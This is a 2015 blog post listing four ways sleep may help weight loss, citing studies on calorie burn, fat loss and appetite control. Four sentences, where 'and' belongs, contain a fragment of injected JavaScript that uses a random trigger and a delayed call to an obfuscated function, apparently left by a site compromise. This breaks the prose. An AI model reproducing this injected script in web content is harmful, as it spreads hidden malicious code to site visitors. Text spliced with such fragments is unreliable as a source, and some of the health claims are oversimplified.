4 Ways Sleep Can Help You Lose Weight

Posted On : April 03, 2015

Forty percent of Americans get just six hours of sleep or fewer per night. Not getting enough sleep has been linked to increased cases of cancer, depression, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cardiovascular disease. But what most people don’t realize is that their lack of sleep could be the reason they are having trouble losing weight.

How does this happen? Well research is showing that there are several reasons hitting the snooze button may benefit you.

Sleep Can Help You Lose WeightLate night snacking  Obviously the longer you are awake the more opportunities you have to snack. Sleeping on a full stomach is one of the tricks that sumo wrestlers use to gain weight. Undigested food, extra insulin in your bloodstream, all turn to fat while you sleep.

Sleep causes you to burn more calories Not only do you have more energy after a good nights sleep andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and are more likely to exercise the next day, but a study from the American Journal of Clinical Nutrition found that normal sleepers burned 20 percent more calories after a meal vs. sleep deprived people.

It boosts fat loss A recent study from the University of Chicago compared weight loss results from those who slept 8 1/2 hours to 5 1/2 hours. Both groups ate the same amount of calories andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and both groups lost the same amount of weight. The difference was the well rested group lost more than half their weight from fat compared to the tired group who only lost 1/4 of their weight from fat.

It keeps your brain focused Your brain functions differently without sleep. Harvard Medical School did a study that showed that people with high daytime sleepiness had reduced function of their prefrontal cortex. The prefrontal cortex is the area of the brain that is involved with inhibition andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and behavior control. According to this study, with reduced inhibition control, people were more likely to overeat.

In the crazy busy lifestyle we have all grown accustomed to, the benefits of a good night sleep are often overlooked. Making sure that you are getting a solid 7-9 hours of sleep most evenings could change the way your body functions. Don’t miss out on the health benefits of sleep.